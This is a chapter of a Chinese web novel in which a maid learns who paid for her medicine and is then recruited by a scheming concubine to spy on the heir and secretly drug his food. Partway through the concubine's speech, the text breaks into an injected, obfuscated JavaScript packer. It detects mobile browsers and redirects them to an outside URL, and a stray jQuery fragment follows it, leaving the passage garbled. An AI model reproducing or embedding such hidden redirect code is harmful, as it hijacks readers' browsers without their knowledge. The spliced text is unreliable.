17. 错觉

    翌日,云若一觉睡到自然醒,浑身舒畅。


    昨夜喝的药真有用,不止让她睡了个好觉,醒来肚子也没那么疼了。


    她出门的时候,世子不在寝居内,她这才注意到外面天已经大亮了,世子应该是去书房了。


    云若洗漱过后去了厨房,想去煎碗药喝了再去干活,正巧遇到了在厨房偷懒的左行,她上前去同他道谢:“左行,昨天的事谢谢你。”


    左行看是她,回想了一下她说的事,了然一笑:“你太客气了,小事一桩。”


    云若浅浅一笑:“那药钱是多少,我这就给你。”说着她从腰间解下荷包,从里面掏出几两碎银递给他,“这些够不够?”


    左行愣了一下,把她的银子推回去:“你真要给这药钱,那你得给世子。”


    这下轮到云若怔愣了。


    左行解释道:“我也不知道你生的什么病,是世子写了方子让我去城南李大夫那抓的药,李大夫一看是世子要,也没收钱,我就只是跑了趟腿。所以你要谢的话,还得去谢世子,我可不敢在这乱邀功。”


    该谢的人是世子吗?


    其实这个念头只在她脑海里闪过了一瞬间,她知道世子是个很好的人,从来没有不把下人当人看,平日里世子对他们的好,她都看在眼里,只是她觉得世子终究是主子,是尊贵敬重的人,是做要事的人,下人的这些小事他应该不会放在眼里,也没有精力注意这些。


    所以她只让这个念头短暂存在了一瞬,当云月也说是左行送来药,她就理所应当以为是左行。


    是世子送她回的房吗?她模糊间感到有人在为她拭去眼泪的人也是世子吗?还是她意识不清产生的错觉呢?


    左行看她不知想什么想得如此出神,伸手在她面前晃了晃。


    云若的思绪渐渐回笼,她对左行微微一笑:“还是谢谢你帮我买了药,下次请你吃好吃的。”


    见她回过神,左行也没有多问,只是说期待她会请他吃什么好吃的。


    等云若喝了药,差不多也快到了午膳时间,她在厨房帮忙一起备膳,备好后她又负责把午膳拿到堂前布置。她才把碗筷摆好,世子就已经从书房过来了。


    云若笑着对他行礼。


    陆执抬手,看她气色与平常无异,想来是好多了。


    在看她为自己布菜的时候,陆执还是问了她:“身子好些了?”


    还是想听她亲口说。


    云若点头:“多谢世子关心,已经无碍了。”


    陆执轻嗯了一声,开始用膳。


    世子吃饭的时候总是优雅从容,得体矜贵。世子读过很多书,他宅心仁厚,总是能让与他相处的人感觉如沐春风。哪怕昨天倒在他面前的只是一个陌生人,他也不会视而不见的,因为世子从来就是一个很好的人。


    云若心里这么想着,今早那点不解,如今她全想明白了。


    **


    今年的夏天好像比往年还热一些,陆执最近的胃口只算得上中规中矩,今天他突然说想吃面食,这还是入夏以来,陆执第一次说自己想吃什么,云若自然是高兴地应下然后去转告厨头。


    何厨头一听也是高兴,正打算大展身手,却发现面粉不够。


    正巧云若还没走,她现下也闲着,就给自己揽了活。


    整个镇国公府是有一个大厨房的膳房,管府上所有的食材采购,若是府上有家宴或贵宾那些,都是由这个膳房来备膳。


    不过平常时候,由于院子多,各院的主子胃口不一,所以都配了小厨房,都在自己院子里做来吃,若是各个小厨房缺了什么,派人去膳房领就是。


    承熙院同膳房隔了几个院子,是有点远,但是云若脚程快,来回一趟能省不少时间,何厨头自然乐意。世子平日里不怎么爱吃面食,所以也不用拿很多,云若去也合适。


    云若拿了面粉就往回走,从膳房回承熙院,穿过后花园走是最快的,她去的时候,后花园都还是静悄悄的,这会儿回来,就听到有人声交谈,还有鱼儿摆尾击水的声音,想来应该是哪个院的主子在喂鱼消遣。


    没看到人,她也就不打算去请安了,走了几步,旁边突然窜出来一个小丫鬟和她撞在了一起,小丫鬟连忙同她道歉,幸亏她里抱着的面粉没撒,她也没在意。


    “云若?”


    被人叫了名字,云若动作一顿。


    她被人领着往后花园的水榭小亭走去。


    远远就瞧见杜姨娘侧身倚坐,手里捻着一撮鱼食一点点往湖里撒去,引得一群鱼儿簇拥着摇尾乞食,在平静的湖面荡开一圈圈涟漪。


    “姨娘,鱼食取回来了。”


    赵嬷嬷把手里的罐子呈到杜氏面前,杜氏回头拿鱼食,抬眼看到远远站着的云若,略一惊讶,她推开鱼食罐,坐正了些许,看着她讥讽开口。


    “哟,这不是承熙院的云若姑娘?自打云若姑娘出了我这凝香院后,想再见云若姑娘一面真是难如登天啊!”


    这丫头,去了承熙院,就几乎没了一点动静,之前赵嬷嬷派人在承熙院附近蹲了好几天,其他两个倒是蹲到了,但就是不见这个云若,要不是那两个丫头说云若现已经可以近身伺候陆执,加上今儿个在这撞见了,她还以为陈氏母子悄摸把她拖到哪个不知名的角落埋了呢!


    一个小丫头片子好大的能耐,让她费了这么多心力才能见上一面。


    云若自然听出了杜姨娘话里夹枪带棒,她自然是不能表现出一点强硬,“奴婢惶恐。没有姨娘,云若绝不会有机会进镇国公府服侍,云若一直记得姨娘的大恩大德,姨娘这么说话,真是折煞奴婢了。”


    “哦?云若姑娘居然还记得我这个身份低微的妾室,真是让人惊喜。”


    见杜姨娘还是不依不饶,云若倏地跪下磕了一个头:“姨娘切莫这般,您还是唤奴婢云若吧,奴婢卑贱之人实在担不起姨娘这声姑娘。云若的一切都是托姨娘的福,姨娘就是云若的再生父母,您就算是要奴婢上刀山下火海,奴婢也在所不辞。”


    “果真?”


    “奴婢每句话皆出自肺腑,姨娘但凡有用得上奴婢的地方,请尽管吩咐。”


    杜氏和赵嬷嬷相视一笑,这种出身的女子果然是最好拿捏的,一点小恩小惠、威逼利诱就被治得服服帖帖。


    “快起来吧,现在虽是夏天,但跪久了地上还是凉。”


    杜姨娘这样应该是信了她的话,但她不敢松懈。


    “听说,你是目前唯一一个侍过寝的?”


    应该是云月或是云燕告诉她的,云若要是否认,毫无意义。


    她大方承认:“奴婢有幸侍奉过世子几次,不过世子整日用功读书,对这男女之事好像并不热衷。”


    听她这么说,杜姨娘笑出了声。云若这张脸,陆执会破戒,她也并没有太意外。


    陈氏自诩她一手抚养大的孩子,她最是了解,其实不然。


    陆执是她的孩子不错,但他还是个男人。就像镇国公,曾经不也是她的男人,可惜她不懂男人,靠她的出身坐得住镇国公身边的位置,但留不住镇国公的人和心。


    “你这丫头还是太年轻了,这男人,就很少有对这事不热衷,无非是没碰到最合契的那个。不过你居然能让我们传闻中不近女色的世子破了戒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146020|163712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,那证明你比别人还是有几分本事的。”


    说了这么多,杜姨娘还是没说出她想要的是什么,云若小心试探:“姨娘过誉了。只是不知道奴婢这点本事能不能帮上姨娘什么?”


    杜氏喜欢和聪明的人说话。


    “你也知道,世子自幼勤奋好学,是一众世家公子的典范。我儿陆平一直想同他长兄学习,但世子对我们母子二人有怨,与我儿并不亲近。若是你能告诉我世子平日里都做些什么、有什么喜好,我想这对他们兄弟二人破冰必然有帮助,你觉得呢?”


    原来只是想让她做世子身边的眼线,云若真怕杜姨娘掏出一罐毒药让她毒死世子,那她今日跟交代在这里没什么区别了。


    世子的日常如此无趣,世子看上去也没什么特别兴趣,她到时候编造一些不离谱的,杜姨娘应该也不会起疑,就算起疑了,她也无从验证。


    云若附和道:“云若愿助二公子与兄长破冰。”


    云若的爽快让杜氏很满意,她对赵嬷嬷挑了挑眼,赵嬷嬷从怀中掏出一块玉佩递给云若。


    这玉佩通身莹润透亮,内无杂质,触手生温,雕工婉转流畅,浑然天成,即使云若没见过多少名贵的东西,她也知道这块玉价值不菲。


    她做出受宠若惊的模样,推辞着不敢接:“姨娘,这太贵重了,奴婢不能收。您对奴婢有恩,奴婢替您效劳是天经地义的事,这玉佩奴婢是绝不能收的。”


    杜氏拿过玉佩,亲自塞到她的手里:“你愿意为我效劳,我自然不会亏待了你,这个当作我给你的信物,以后你每一两个月来给我汇报一次,凭此玉佩可直接进出凝香院,无人会拦你。”


    云若不敢收她的东西,只口头许诺,到时候反咬不承认即可,但若是收了东西,有了利益往来,没有的事都能被编排出来。收下这个不就等于给自己挖坑吗?


    她还要推脱,却见杜氏冷了脸:“莫不是云若姑娘看不上我这点东西,还是说刚刚云若姑娘说要为我效劳的话只是敷衍应付?”


    看杜姨娘这架势,她要是不收下,先前说的那些都要白搭了。


    云若只能勉为其难收下:“奴婢不敢敷衍应付姨娘,只是这玉佩太贵重,奴婢觉得受之有愧。”


    她收下后,杜姨娘瞬间喜笑颜开:“我凝香院的人,待遇一向如此,你安心受着,好好为我办事就行了。”


    云若又阿谀奉承,表了一番誓死追随的衷心,杜姨娘高兴地受了。


    “好了,你也出来这么久了,仔细世子要寻你了,我就不多留你了。”


    眼下杜姨娘这关应该是过了,云若松了口气正要告退,杜姨娘又突然叫住她。


    “对了,除了这个,我还有一个东西忘了给你。”


    云若脚步一顿,挂上笑问她还有什么东西。


    杜氏从自己袖中拿出了一个白色瓷瓶递给她,云若心下大骇。


    杜氏抓住她的手,放进她手中,嘴角挂着深有意味的笑:“此药无色无味,易溶于水,你若是碾碎了放一点在世子的吃食里,长久下来,世子必然对你魂牵梦绕,心醉神迷。”


    竟是这些东西,云若松了口气,她收下东西,一副了然于心的模样:“多谢姨娘。”


    杜氏摆摆手,让她离开了。


    看着云若走远了,赵嬷嬷才上前问出了心中疑虑:“主子觉得这人可用吗?”


    “人还算机灵,也懂事,暂时先用着,不过不能把所有的注都压在一个人身上,我们还是要多做几手准备。要是狗不受控制了,及时处理才不会乱咬人,你说是不是?”


    赵嬷嬷会心一笑:“主子说得是。”